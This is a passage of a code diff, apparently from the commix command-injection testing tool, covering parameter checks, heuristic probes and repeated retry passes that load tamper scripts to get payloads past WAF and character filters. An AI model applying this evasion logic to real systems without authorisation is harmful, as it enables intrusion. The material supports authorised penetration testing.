+ return request
+
+ info_msg = "Testing if " + param_label + " is dynamic."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+
+ placeholder = ''.join(random.choice(string.ascii_uppercase) for _ in range(3))
+
+ # Sent the way every other request is, so the pacing, retries and error handling that hold for
+ # the scan hold here too.
+ def _body(value):
+ response = requests.get_request_response(fetch(value))
+ if not response or isinstance(response, bool):
+ return None
+ try:
+ return checks.comparable_page(checks.process_page_content(response, action="decode"))
+ except Exception:
+ return None
+
+ """
+ The page as the target answers it with the value it was given, and how much it moves between two
+ such answers, are the target's own - not this parameter's. Both were taken once, when the target
+ was first reached, so what is left to ask here is what the page looks like with something else in
+ the parameter's place: one request, against a baseline every parameter shares.
+ """
+ real_body = settings.ORIGINAL_PAGE_COMPARABLE or None
+ noise = settings.PAGE_NOISE_RATIO
+ if real_body is None:
+ real_body = _body(settings.TESTABLE_VALUE)
+ # The same value asked for twice: whatever differs between these two is the page moving on its
+ # own, and a parameter is only dynamic where it changes the response by more than that.
+ repeat_body = _body(settings.TESTABLE_VALUE)
+ if real_body is None or repeat_body is None:
+ return
+ noise = checks.page_ratio(real_body, repeat_body)
+
+ placeholder_body = _body(placeholder)
+ if placeholder_body is None:
+ return
+
+ changed = checks.page_ratio(real_body, placeholder_body)
+ if changed >= max(noise, settings.STABILITY_SIMILARITY_THRESHOLD):
+ warn_msg = param_label + " does not appear to be dynamic."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ return False
+ # Said plainly, not held back for '-v': the run asked for this check, so its answer is news
+ # either way.
+ info_msg = param_label + " appears to be dynamic."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ return True
+
+"""
+Replace the parameter value with a placeholder an earlier run already confirmed the payload through.
+
+Not decided here on how the target answers the placeholder on its own. The value is what the command
+before the payload is given, so one the target was not answering on changes what that command does -
+a hostname that does not resolve where the real one did, failing where it used to succeed. A
+separator that chains on that command having succeeded then never fires, and one that chains on its
+having failed fires where the real value would never have let it, so the finding is either missed
+outright or is one that does not reproduce. Nothing available before the payload has an oracle tells
+those apart: a value worth skipping at all is one the target spends time on, and that time is the
+command's own. So the exchange is made after detection instead, where the boundary it was found on
+can re-ask the question and the answer says whether the placeholder still carries it.
+"""
+def attempt_skip_testable_value(url, http_request_method, check_parameter):
+ if not settings.TESTABLE_VALUE or not settings.LOAD_SESSION:
+ return url
+ if any((settings.COOKIE_INJECTION, settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION,
+ settings.HOST_INJECTION, settings.CUSTOM_HEADER_INJECTION)):
+ return url
+
+ marker = settings.TESTABLE_VALUE + settings.INJECT_TAG
+ in_data = bool(menu.options.data) and marker in menu.options.data
+ in_url = marker in url
+ if not in_data and not in_url:
+ return url
+
+ # Confirmed on the run that stored it, through the boundary it was found on, so it is taken as it
+ # stands rather than asked about again.
+ stored_placeholder = session_handler.check_stored_testable_value(url, check_parameter, http_request_method)
+ if not stored_placeholder:
+ return url
+ if in_data:
+ menu.options.data = menu.options.data.replace(marker, stored_placeholder + settings.INJECT_TAG)
+ else:
+ url = url.replace(marker, stored_placeholder + settings.INJECT_TAG)
+ settings.TESTABLE_VALUE_STOOD_IN_FOR = settings.TESTABLE_VALUE
+ settings.TESTABLE_VALUE = stored_placeholder
+ settings.TESTABLE_VALUE_OPTIMIZED = True
+ return url
+
+"""
+Proceed to the injection process for the appropriate parameter.
+"""
+def injection_process(url, check_parameter, http_request_method, filename, timesec, place):
+ # Every parameter starts with its value kept, whatever the one before it needed: the pass that
+ # replaces it is reached per parameter, and exploitation follows within this same call, so leaving
+ # the mode set would only decide how the parameters after this one are tested.
+ settings.REPLACE_VALUE = False
+ # Every parameter is asked the value question for itself: one that needed its value says nothing
+ # about the next, and a refusal carried over would have the next parameter pay the slow price too.
+ settings.VALUE_SKIPPED_EARLY = None
+ settings.VALUE_SKIP_REFUSED = False
+ # Named with '--param-filter': a parameter is tested only where it travels in one of the places
+ # asked for, and nothing is said about the rest - naming them is saying which ones matter.
+ if settings.PARAM_FILTER_PLACES and str(place).upper() not in settings.PARAM_FILTER_PLACES:
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Skipping the '" + str(place) + "' parameter '" + str(check_parameter) + "', which '--param-filter' does not name."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+ return
+ # Matched with '--param-exclude', against the parameter's own name and against the place it
+ # travels in, either of which is enough to leave it alone.
+ if menu.options.param_exclude and (re.search(menu.options.param_exclude, str(check_parameter), re.I) or \
+ re.search(menu.options.param_exclude, str(place), re.I)):
+ info_msg = "Skipping the parameter '" + str(check_parameter) + "', excluded with '--param-exclude'."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ return
+
+ settings.NOT_TESTABLE_PARAMETERS = False
+ reset_parameter_state()
+ # Bound here rather than where the techniques run: the parameter may be skipped before reaching
+ # them, and the loop over operating systems below reads this either way.
+ end_detection = False
+
+ # False only where the check ran and the response never moved with the parameter - where it did
+ # not run, nothing was learned and the parameter is tested as it would have been.
+ """
+ Recognised before the value can be swapped for a placeholder below: a value that has been thrown
+ away is one nothing can notice the encoding of.
+
+ Where it is written in something, the request is rewritten to carry what it stands for, and the
+ writing back is done on the way out - so everything in between is testing the value the target
+ itself will read, rather than the envelope it arrived in.
+ """
+ # What the value stands for, once whatever it is written in has been taken off it.
+ def read_value_as(description):
+ nonlocal url
+ """
+ Read off the value the target reads, not the spelling the URL carries it in.
+
+ A query string writes a base64 value's own padding as '%3D', so taken as it arrived the value
+ is not base64 at all and a parameter that carries one perfectly well is refused for not
+ carrying one. Writing it back out is already done on the unquoted value, so reading it in is
+ done the same way here.
+ """
+ carried = _urllib.parse.unquote(settings.TESTABLE_VALUE)
+ decoded = checks.strip_encoding(carried, description)
+ # Written out again it has to give back what arrived, or what was read was not the value.
+ if checks.apply_encoding(decoded, description) != carried:
+ raise ValueError("the value is not written in that encoding")
+ settings.VALUE_ENCODING = description
+ if decoded != settings.TESTABLE_VALUE:
+ if menu.options.data:
+ menu.options.data = menu.options.data.replace(settings.TESTABLE_VALUE, decoded)
+ # The envelope is taken off wherever the value rides, not just in the body and the URL - a
+ # carrier left holding the written-out value appends the payload to that instead, and what
+ # goes out is the whole envelope with the payload after it rather than the value replaced.
+ for option in ("cookie", "header", "headers", "host", "referer", "agent", "auth_cred"):
+ carried = getattr(menu.options, option, None)
+ if carried and settings.TESTABLE_VALUE in str(carried):
+ setattr(menu.options, option, str(carried).replace(settings.TESTABLE_VALUE, decoded))
+ url = url.replace(settings.TESTABLE_VALUE, decoded)
+ settings.TESTABLE_VALUE = decoded
+
+ # Read off the value itself, not the spelling the URL carries it in: a base64 value's own padding
+ # rides as '%3D', and a descriptor worked out from that reads the value as carrying none - so
+ # writing it back out drops the padding and the value no longer matches what arrived.
+ named = checks.named_encoding(check_parameter, _urllib.parse.unquote(settings.TESTABLE_VALUE))
+ if settings.LOAD_SESSION:
+ """
+ A finding read back from a session carries the encoding it was made with, so there is nothing
+ to work out here. A name is only a fallback for a row stored before that was kept - and there,
+ a value that will not decode is one that was stored already decoded.
+ """
+ if named and not settings.VALUE_ENCODING:
+ try:
+ read_value_as(named)
+ except Exception:
+ pass
+ elif named:
+ # Named for this parameter, which settles it without asking.
+ try:
+ read_value_as(named)
+ except Exception:
+ err_msg = "The " + str(check_parameter) + " parameter does not carry a valid "
+ err_msg += str(settings.PARAMETER_ENCODINGS.get(check_parameter, settings.PARAMETER_ENCODING_DEFAULT))
+ err_msg += "-encoded value ('" + str(settings.TESTABLE_VALUE) + "')."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+ elif not menu.options.skip_heuristics:
+ # Otherwise it is recognised, and what it stands for is what the rest of the run tests.
+ decoded, _encoding = checks.recognise_payload(payload=settings.TESTABLE_VALUE)
+ if settings.VALUE_ENCODING and decoded != settings.TESTABLE_VALUE:
+ if menu.options.data:
+ menu.options.data = menu.options.data.replace(settings.TESTABLE_VALUE, decoded)
+ url = url.replace(settings.TESTABLE_VALUE, decoded)
+ settings.TESTABLE_VALUE = decoded
+
+ is_dynamic = check_parameter_dynamism(url, http_request_method, check_parameter)
+ if is_dynamic is False and menu.options.skip_static and not checks.explicitly_testable(check_parameter):
+ info_msg = "Skipping static parameter '" + check_parameter + "'."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ return
+
+ url = attempt_skip_testable_value(url, http_request_method, check_parameter)
+
+ # Both, where the target's own answer did not identify one - that being what the question asked.
+ # Taken by name: the class carries more attributes than the two, so slicing them handed back a
+ # module path as an operating system.
+ if settings.CHECK_BOTH_OS:
+ os_targets = [settings.OS.UNIX, settings.OS.WINDOWS][:settings.OS_CHECKS_NUM]
+ else:
+ os_targets = [settings.TARGET_OS or settings.OS.UNIX]
+
+ # Loop over the selected OS targets
+ for os_target in os_targets:
+ # A heuristic on an earlier pass may have settled which shell answers. Sweeping the other one
+ # then costs a second full pass and, worse, writes over what was identified.
+ if settings.IDENTIFIED_TARGET_OS and settings.TARGET_OS != os_target:
+ continue
+ settings.TARGET_OS = os_target
+
+ if settings.PERFORM_BASIC_SCANS:
+ if not settings.LOAD_SESSION:
+ settings.LOAD_SESSION = None
+ basic_level_checks()
+
+ inject_http_headers = check_parameter_in_http_header(check_parameter, place)
+
+ if inject_http_headers:
+ checks.define_vulnerable_http_header(check_parameter)
+
+ # User-Agent/Referer/Host/Custom HTTP header Injection(s)
+ if any((settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION, settings.CUSTOM_HEADER_INJECTION)):
+ header_name = ""
+ the_type = "HTTP Header"
+ inject_parameter = " parameter '" + check_parameter + "'"
+ else:
+ if settings.COOKIE_INJECTION:
+ header_name = settings.COOKIE
+ else:
+ header_name = ""
+ the_type = " parameter"
+ inject_parameter = " '" + check_parameter + "'"
+
+ # Nothing left to probe when all required time-related techniques were resumed.
+ time_techniques_resumed = False
+ if checks.technique_selected("t") or checks.technique_selected("f"):
+ needed_time_techniques = set()
+ if checks.technique_selected("t"):
+ needed_time_techniques.add(settings.INJECTION_TECHNIQUE.TIME_BASED)
+ if checks.technique_selected("f"):
+ needed_time_techniques.add(settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED)
+ time_techniques_resumed = settings.LOAD_SESSION and needed_time_techniques.issubset(settings.STORED_TECHNIQUES.keys())
+
+ # Defer response-time estimation until a time-related technique is about to run.
+ url_time_response = 0
+ _time_warmup_done = False
+ # Take the timing model once, before the first technique that needs one.
+ def _ensure_time_warmup():
+ nonlocal timesec, url_time_response, _time_warmup_done
+ if _time_warmup_done or settings.SKIP_COMMAND_INJECTIONS:
+ return
+ _time_warmup_done = True
+ if time_techniques_resumed:
+ url_time_response = 0
+ elif settings.ESTIMATED_TIMESEC is not None:
+ # How long the target takes to answer is the target's own, not this parameter's: measured
+ # once, and read by every parameter after it.
+ timesec, url_time_response = settings.ESTIMATED_TIMESEC, settings.URL_TIME_RESPONSE
+ else:
+ timesec, url_time_response = requests.estimate_response_time(url, timesec, http_request_method)
+ settings.ESTIMATED_TIMESEC = timesec
+
+ # Load modules
+ modules_handler.load_modules(url, http_request_method, filename)
+
+ settings.CHECKING_PARAMETER = ""
+ if not header_name == settings.COOKIE and not the_type == "HTTP Header":
+ settings.CHECKING_PARAMETER = checks.check_http_method(url)
+ settings.CHECKING_PARAMETER += ('', ' JSON')[settings.IS_JSON] + ('', ' SOAP/XML')[settings.IS_XML]
+ if header_name == settings.COOKIE :
+ settings.CHECKING_PARAMETER += str(header_name) + str(the_type) + str(inject_parameter)
+ elif the_type == "HTTP Header":
+ settings.CHECKING_PARAMETER += check_parameter.title() + " HTTP Header"
+ else:
+ settings.CHECKING_PARAMETER += str(the_type) + str(header_name) + str(inject_parameter)
+
+ if check_parameter in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST and not checks.already_tested(place, check_parameter):
+ settings.CHECKING_PARAMETER = "(custom) " + settings.CHECKING_PARAMETER
+
+ """
+ A rewrite adopted for the parameter before this one is dropped here.
+
+ What got past that parameter's filter says nothing about this one, and the scripts are not free
+ to carry: '${IFS}' in place of every space is itself filtered on some targets, so a parameter
+ that would have answered a plain payload is reported as not injectable instead - found only by
+ testing it on its own. Whatever this parameter needs, it adopts again for itself.
+ """
+ checks.drop_auto_tampers()
+
+ if not settings.LOAD_SESSION:
+ info_msg = "Setting " + settings.CHECKING_PARAMETER + " for tests."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+
+ if menu.options.skip_heuristics:
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Skipping heuristic (basic) test on the " + settings.CHECKING_PARAMETER + "."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+ else:
+ if not settings.LOAD_SESSION:
+ checks.recognise_payload(payload=settings.TESTABLE_VALUE)
+ info_msg = "Performing heuristic (basic) test on the " + settings.CHECKING_PARAMETER + "."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+
+ try:
+ url = command_injection_heuristic_basic(url, http_request_method, check_parameter, place)
+
+ # Asked for out-of-band, so probe the channel either way: whether the target can reach it
+ # at all, and over which client, is a separate question from whether it is injectable.
+ if menu.options.oob:
+ url = oob_heuristic_basic(url, http_request_method, check_parameter, place)
+
+ # What this looks for is the sink, not a technique, so which technique will carry it has no
+ # bearing on whether it is worth looking - and where the switch was not given at all, this
+ # is what offers it.
+ if not settings.IDENTIFIED_COMMAND_INJECTION:
+ # Check for identified warnings
+ url = code_injections_heuristic_basic(url, http_request_method, check_parameter, place)
+ except KeyboardInterrupt:
+ try:
+ checks.handle_detection_interrupt(filename, url)
+ except (settings.SkipTechniqueException, settings.RetryTechniqueException):
+ # No technique is running yet at this stage - just skip past heuristics.
+ pass
+ except settings.EndDetectionPhaseException:
+ break
+
+ # Asked last and only where nothing else could answer, "no" still being a fair answer.
+ if settings.OS_IDENTIFICATION_PENDING:
+ settings.OS_IDENTIFICATION_PENDING = False
+ warn_msg = "Unable to fingerprint the target operating system."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ checks.define_target_os()
+
+ # The probe above is written with the same '$(...)' every payload after it is, so a filter
+ # on that one character refuses it before the sink is reached - and the parameter is put
+ # down as not injectable rather than as asked the wrong way. One more ask, with the
+ # substitution written as backticks, settles which of the two it was. Paid for only where
+ # the probe already found nothing, and only once the user has said it is worth paying.
+ if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_EVAL_PROBE and \
+ checks.may_retry_through_backticks() and checks.backtick_retry_consent():
+ settings.AUTO_TAMPER.append("backticks")
+ checks.tamper_scripts(stored_tamper_scripts=False)
+ url = command_injection_heuristic_basic(url, http_request_method, check_parameter, place)
+ if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_EVAL_PROBE:
+ # It answered nothing either, so the rest of this parameter is not carried through a
+ # script that turned out to be about something else.
+ checks.drop_auto_tampers()
+
+ if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_EVAL_PROBE:
+ settings.HEURISTIC_TEST.POSITIVE = False
+ warn_msg = "Heuristic (basic) test shows that "
+ warn_msg += settings.CHECKING_PARAMETER + " might not be injectable."
+ settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg))
+
+ if (menu.options.smart and not settings.HEURISTIC_TEST.POSITIVE) or (menu.options.smart and menu.options.skip_heuristics):
+ info_msg = "Skipping "
+ info_msg += settings.CHECKING_PARAMETER + "."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ settings.HEURISTIC_TEST.POSITIVE = True
+ else:
+ if menu.options.failed_tries and \
+ menu.options.tech and not "f" in menu.options.tech:
+ warn_msg = "Due to the provided (unsuitable) injection technique"
+ warn_msg += "s"[len(menu.options.tech) == 1:][::-1] + ", "
+ warn_msg += "ignoring the option '--failed-tries'."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+ # Procced with file-based blind command injection technique,
+ # once the user provides the path of web server's root directory.
+ if menu.options.web_root and settings.USER_APPLIED_TECHNIQUE and not "f" in menu.options.tech:
+ menu.options.web_root = checks.normalize_target_dir(menu.options.web_root)
+ # Asked once and held for the run, since the technique list it narrows is put back for
+ # every parameter - the question is about the document root, which does not change.
+ if settings.FILE_BASED_NARROWING_CHOICE is None:
+ settings.FILE_BASED_NARROWING_CHOICE = checks.procced_with_file_based_technique()
+ if settings.FILE_BASED_NARROWING_CHOICE:
+ menu.options.tech = "f"
+
+ # Whether a stored finding already answers what this technique would ask.
+ def _time_related_resume_redundant():
+ # A resumed finding is already confirmed, so re-verifying the slow ones adds nothing
+ # when a results-based technique is stored too.
+ return settings.LOAD_SESSION and not settings.USER_APPLIED_TECHNIQUE and any(
+ _ in settings.STORED_TECHNIQUES for _ in (settings.INJECTION_TECHNIQUE.RESULTS_BASED, settings.INJECTION_TECHNIQUE.DYNAMIC_CODE))
+
+ # Test the parameter by how long the target takes to answer.
+ def _run_time_based():
+ if _time_related_resume_redundant():
+ return
+ if checks.technique_selected("t", eval_sink=bool(menu.options.eval_sink)):
+ _ensure_time_warmup()
+ # A resumed finding is re-verified against its own full delay, so the model can wait
+ # until the first command actually needs it.
+ if not (settings.LOAD_SESSION and settings.INJECTION_TECHNIQUE.TIME_BASED in settings.STORED_TECHNIQUES):
+ checks.warm_up_response_baseline(url, http_request_method)
+ return timebased_technique(url, timesec, filename, http_request_method, url_time_response)
+
+ # Test the parameter by a file the target writes and then serves back.
+ def _run_file_based():
+ if _time_related_resume_redundant():
+ return
+ if len(menu.options.tech) == 0 or "f" in menu.options.tech:
+ _ensure_time_warmup()
+ return filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response)
+
+ end_detection = False
+ techniques = [
+ lambda: results_based_command_injection_technique(url, timesec, filename, http_request_method),
+ lambda: dynamic_code_evaluation_technique(url, timesec, filename, http_request_method),
+ _run_time_based,
+ _run_file_based,
+ lambda: oob_command_injection_technique(url, timesec, filename, http_request_method),
+ ]
+ # Ahead of the delay-based one, being the cheaper way to ask the same question - and tried like
+ # any other technique, since the page it reads its answer off is there whether or not the run
+ # named what a true answer looks like.
+ techniques.insert(2, lambda: boolean_based_technique(url, timesec, filename, http_request_method))
+ # Work through the techniques in turn, carrying on past the ones that find nothing.
+ def _run_techniques():
+ technique_idx = 0
+ while technique_idx < len(techniques):
+ try:
+ techniques[technique_idx]()
+ # The evasion was stepped up while this ran, so the technique never got a fair try.
+ if settings.WAF_EVASION_ESCALATED:
+ settings.WAF_EVASION_ESCALATED = False
+ continue
+ technique_idx += 1
+ except settings.SkipTechniqueException:
+ technique_idx += 1
+ except settings.RetryTechniqueException:
+ pass
+ except settings.EndDetectionPhaseException:
+ return True
+ return False
+
+ def _reset_web_root_detection():
+ # A retry below is the one case where the web root genuinely needs working out again:
+ # the candidate list a filtered-out pass already walked through and gave up on says
+ # nothing about whether the tamper this retry is about to apply would have fared any
+ # better on any one of those same candidates - left alone, 'custom_web_root()' sees
+ # candidates already exhausted and reaches straight past all of them for '/tmp/'. And
+ # 'menu.options.web_root' is what the first pass's own result gets cached into once it
+ # settles on one - left set, 'check_tmp_path()' reuses that cached answer directly and
+ # never calls back into 'custom_web_root()' at all, retry or not.
+ settings.CUSTOM_WEB_ROOT = False
+ settings.WEB_ROOT_CANDIDATES = []
+ settings.WEB_ROOT_SETTLED_ONCE = False
+ settings.WEB_ROOT = settings.DEFAULT_WEB_ROOT
+ menu.options.web_root = False
+
+ """
+ One pass of the techniques, and the verification of whatever it confirmed.
+
+ Verified here rather than once at the end, because everything below reads "has anything been
+ confirmed yet" to decide whether to reach further. A finding that the re-ask takes back is not
+ a confirmation, and counted as one it closes every escalation behind it: the run reports "not
+ injectable" having skipped the passes that would have looked. Costs nothing on a pass that
+ confirmed nothing, which is the pass this is standing in front of.
+ """
+ def _run_and_verify():
+ mark = len(settings.CONFIRMED_INJECTION_POINTS)
+ ended = _run_techniques()
+ checks.final_false_positive_check(url, http_request_method, check_parameter, timesec, mark)
+ return ended
+
+ # An escalation already handled during the heuristic test, ahead of this first pass, would
+ # otherwise read here as "stepped up while the technique about to run was mid-flight" - and
+ # send the very first technique around a second, needless time before it is even one request in.
+ settings.WAF_EVASION_ESCALATED = False
+ end_detection = _run_and_verify()
+ # Nothing got through while a protection is in the way, so reach for a heavier evasion and
+ # give the techniques another go - being blocked throughout is the answer this waits for.
+ while not end_detection and checks.injection_techniques_status() is False and \
+ settings.WAF_ENABLED and checks.escalate_waf_evasion(on_block=False):
+ settings.WAF_EVASION_ESCALATED = False
+ _reset_web_root_detection()
+ end_detection = _run_and_verify()
+
+ """
+ Whether this run gets to reach for a rewrite of its own.
+
+ '--tamper' is the user's own answer to the question these passes exist to ask, so where it was
+ given, it is the only answer applied - a script added behind it is one they did not ask for,
+ and stacking ours on top is what earns the "too many tamper scripts" warning against a run
+ that named exactly one.
+ """
+ def _may_adopt_tamper():
+ return not (settings.USER_APPLIED_TAMPER or menu.options.tamper)
+
+ """
+ Whether to go around a filtered whitespace at all.
+
+ Sending every technique around again costs about what the pass before it did, so it is offered
+ rather than spent unannounced. Asked once and held for the run: the answer is about the
+ target's own filter, not about whichever technique happened to come back empty first.
+ """
+ def _accepts_whitespace_retry():
+ if settings.WHITESPACE_RETRY_CHOICE is None:
+ # Only what was actually established is stated here. That nothing was confirmed with a
+ # plain whitespace is a fact about this run; that the target is filtering one is a guess,
+ # and far more often than not the parameter simply never reached a shell - a mistyped
+ # name answers exactly like a filtered space does. The guess belongs in the question,
+ # where it reads as the reason to try rather than as something already found.
+ # Worded as the WAF/IPS consent next to it is, since it is the same question asked about a
+ # different obstacle. No script named: one is turned on here and another behind it where
+ # that one is filtered too, so naming the first reads as a promise that it is the only
+ # one - each says which it loaded as it loads it, which is where that belongs.
+ message = "Do you want " + settings.APPLICATION + " to try again in case plain whitespace is being filtered "
+ message += "(e.g. by using whitespace tamper scripts)? [Y/n] "
+ settings.WHITESPACE_RETRY_CHOICE = common.read_input(message, default="Y", check_batch=True) not in settings.CHOICE_NO
+ return settings.WHITESPACE_RETRY_CHOICE
+
+ def _accepts_replaced_value_retry():
+ if settings.REPLACE_VALUE_RETRY_CHOICE is None:
+ # Asked for the same reason the two above are: nothing was confirmed, and that the sink
+ # reads the value's own first byte is the guess that makes another pass worth paying for.
+ message = "Do you want " + settings.APPLICATION + " to try again with the payload in place of "
+ message += "the parameter's value rather than behind it? [Y/n] "
+ settings.REPLACE_VALUE_RETRY_CHOICE = common.read_input(message, default="Y", check_batch=True) not in settings.CHOICE_NO
+ return settings.REPLACE_VALUE_RETRY_CHOICE
+
+ def _accepts_dashless_retry():
+ if settings.DASHLESS_RETRY_CHOICE is None:
+ # Asked for the same reason the whitespace one above is: what was established is that
+ # nothing was confirmed, and that the target filters a dash is the guess that makes
+ # another pass worth paying for - so it belongs in the question rather than stated as
+ # something already found.
+ message = "Do you want " + settings.APPLICATION + " to try again in case a dash ('-') is being filtered "
+ message += "(e.g. by using a tamper script that writes its tests without one)? [Y/n] "
+ settings.DASHLESS_RETRY_CHOICE = common.read_input(message, default="Y", check_batch=True) not in settings.CHOICE_NO
+ return settings.DASHLESS_RETRY_CHOICE
+
+
+ """
+ Whether to go around a filter built on what the payloads print with.
+
+ Asked for the same reason the two above are: nothing was confirmed, and that the target
+ refuses the one name and format every POSIX payload carries is the guess that makes another
+ pass worth paying for - so it belongs in the question rather than stated as something found.
+ """
+ def _accepts_printer_retry():
+ if settings.PRINTER_RETRY_CHOICE is None:
+ if settings.PRINTER_ANSWERED == "echo":
+ # The heuristic test went out printing with both names and came back carrying one of
+ # them, so what was found is stated on its own line rather than put in the question -
+ # the choice stays the user's, as it is for every other pass.
+ warn_msg = "The heuristic test answered where it printed with 'echo' only, so 'printf' appears to be filtered."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ message = "Do you want " + settings.APPLICATION + " to enable the 'printf2echo' tamper script? [Y/n] "
+ else:
+ message = "Do you want " + settings.APPLICATION + " to try again in case what the payloads print with "
+ message += "is being filtered (e.g. by using a tamper script that prints with 'echo')? [Y/n] "
+ settings.PRINTER_RETRY_CHOICE = common.read_input(message, default="Y", check_batch=True) not in settings.CHOICE_NO
+ return settings.PRINTER_RETRY_CHOICE
+
+ # A filter that rejects any literal whitespace blocks the heuristic test the same as every
+ # technique, so gating this on a positive heuristic would never fire for the one case it
+ # exists for. 'MULTI_ENCODED_PAYLOAD' already carrying the script is what keeps it from
+ # firing twice, or where it was asked for by name.
+ if not end_detection and checks.injection_techniques_status() is False and \
+ _may_adopt_tamper() and "space2ifs" not in settings.MULTI_ENCODED_PAYLOAD and \
+ _accepts_whitespace_retry():
+ settings.AUTO_TAMPER.append("space2ifs")
+ checks.tamper_scripts(stored_tamper_scripts=False)
+ _reset_web_root_detection()
+ end_detection = _run_and_verify()
+
+ # '${IFS}' is itself '$'-based, so a filter that blocks '$' along with the whitespace leaves
+ # that pass no better off than the one before it. A horizontal tab is still a plain POSIX
+ # word separator and needs no such substitution.
+ if not end_detection and checks.injection_techniques_status() is False and \
+ _may_adopt_tamper() and "space2htab" not in settings.MULTI_ENCODED_PAYLOAD and \
+ _accepts_whitespace_retry():
+ settings.AUTO_TAMPER.append("space2htab")
+ checks.tamper_scripts(stored_tamper_scripts=False)
+ _reset_web_root_detection()
+ end_detection = _run_and_verify()
+
+ # A filter built around '-' rather than whitespace is a different question - every
+ # numeric 'test' commix writes, including the final litmus below, leans on '-eq'/'-ne' for
+ # it. 'dashlesstest' already reads those the dash-free way ('='/'!='), so this is the one
+ # case left where retrying on a tamper already built for something else solves it outright.
+ if not end_detection and checks.injection_techniques_status() is False and \
+ _may_adopt_tamper() and "dashlesstest" not in settings.MULTI_ENCODED_PAYLOAD and \
+ _accepts_dashless_retry():
+ settings.AUTO_TAMPER.append("dashlesstest")
+ # Announced the way '--tamper' announces its own, rather than in a sentence of its own:
+ # what is loaded is the same thing either way, and worth reading as the same line.
+ checks.tamper_scripts(stored_tamper_scripts=False)
+ _reset_web_root_detection()
+ end_detection = _run_and_verify()
+
+ # The name and the format are in every POSIX payload alike - the heuristic test's own
+ # included - so a filter built on either refuses the lot for the one reason, which reads as a
+ # parameter with no way in rather than as a string being turned away. 'printf2echo' prints
+ # with 'echo' throughout, which is the one other name a payload here can print with.
+ if not end_detection and checks.injection_techniques_status() is False and \
+ _may_adopt_tamper() and "printf2echo" not in settings.MULTI_ENCODED_PAYLOAD and \
+ _accepts_printer_retry():
+ settings.AUTO_TAMPER.append("printf2echo")
+ checks.tamper_scripts(stored_tamper_scripts=False)
+ _reset_web_root_detection()
+ end_detection = _run_and_verify()
+
+ # The one obstacle none of the passes above can be written around: every command substitution
+ # commix writes is opened with '$', and so is the '${IFS}' the first whitespace pass reaches
+ # for - so a filter built on that character refuses them all, the dash-free tests included.
+ # A backtick opens the same substitution and is a different character, which is the whole of
+ # what is being asked here. Not offered where the substitution is not the shell's to make:
+ # 'cmd.exe' has no backtick, and an interpreter is handed a program rather than a shell line.
+ if not end_detection and checks.injection_techniques_status() is False and \
+ checks.may_retry_through_backticks() and checks.backtick_retry_consent():
+ settings.AUTO_TAMPER.append("backticks")
+ checks.tamper_scripts(stored_tamper_scripts=False)
+ _reset_web_root_detection()
+ end_detection = _run_and_verify()
+
+ # Not a filter at all, unlike the four passes above: the value is reaching the sink intact
+ # and is the problem itself, because this sink reads its first byte rather than the end of it.
+ # Left set only where it confirmed something - a pass that found nothing would otherwise hand
+ # the next parameter a value already replaced, and have it tested that way alone.
+ # Left alone where the user named a prefix of their own: that already stands in place of the
+ # value rather than behind it, so this pass would send the very same requests a second time
+ # and ask a question about something already settled.
+ if not end_detection and checks.injection_techniques_status() is False and \
+ not settings.REPLACE_VALUE and settings.TESTABLE_VALUE and \
+ not menu.options.prefix and _accepts_replaced_value_retry():
+ settings.REPLACE_VALUE = True
+ _reset_web_root_detection()
+ end_detection = _run_and_verify()
+ if checks.injection_techniques_status() is False:
+ settings.REPLACE_VALUE = False
+
+ """
+ The optimisation put back, where the pass that took it confirmed nothing.
+
+ Dropping the value is an optimisation and never evidence: the heuristic showed the sink runs
+ without it, which is not the same as every technique reaching that sink without it. A target
+ that validates what it is given can answer the heuristic and still take another path once the
+ value is three random letters, and a run that stopped there would report a parameter as not
+ injectable on the strength of a request it sent in order to go faster.
+
+ So the value goes back and the pass is made again, at the price it would have cost all along.
+ Refused afterwards, so the probe does not drop it a second time and send this round in a loop.
+ """
+ if not end_detection and checks.injection_techniques_status() is False and settings.VALUE_SKIPPED_EARLY:
+ original_value, placeholder, original_url, original_data = settings.VALUE_SKIPPED_EARLY
+ settings.VALUE_SKIPPED_EARLY = None
+ settings.VALUE_SKIP_REFUSED = True
+ settings.TESTABLE_VALUE_OPTIMIZED = False
+ settings.TESTABLE_VALUE = original_value
+ # Nothing stood in for it in the end, so nothing is left to write back into a payload.
+ settings.TESTABLE_VALUE_STOOD_IN_FOR = ""
+ menu.options.data = original_data
+ url = original_url
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Nothing was confirmed without the parameter's own value, so it is restored and tested again."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+ _reset_web_root_detection()
+ end_detection = _run_and_verify()
+
+ # All injection techniques seems to be failed!
+ if checks.injection_techniques_status() is False:
+ warn_msg = settings.CHECKING_PARAMETER
+ warn_msg += " does not seem to be injectable."
+ settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg))
+ else:
+ if settings.LOAD_SESSION:
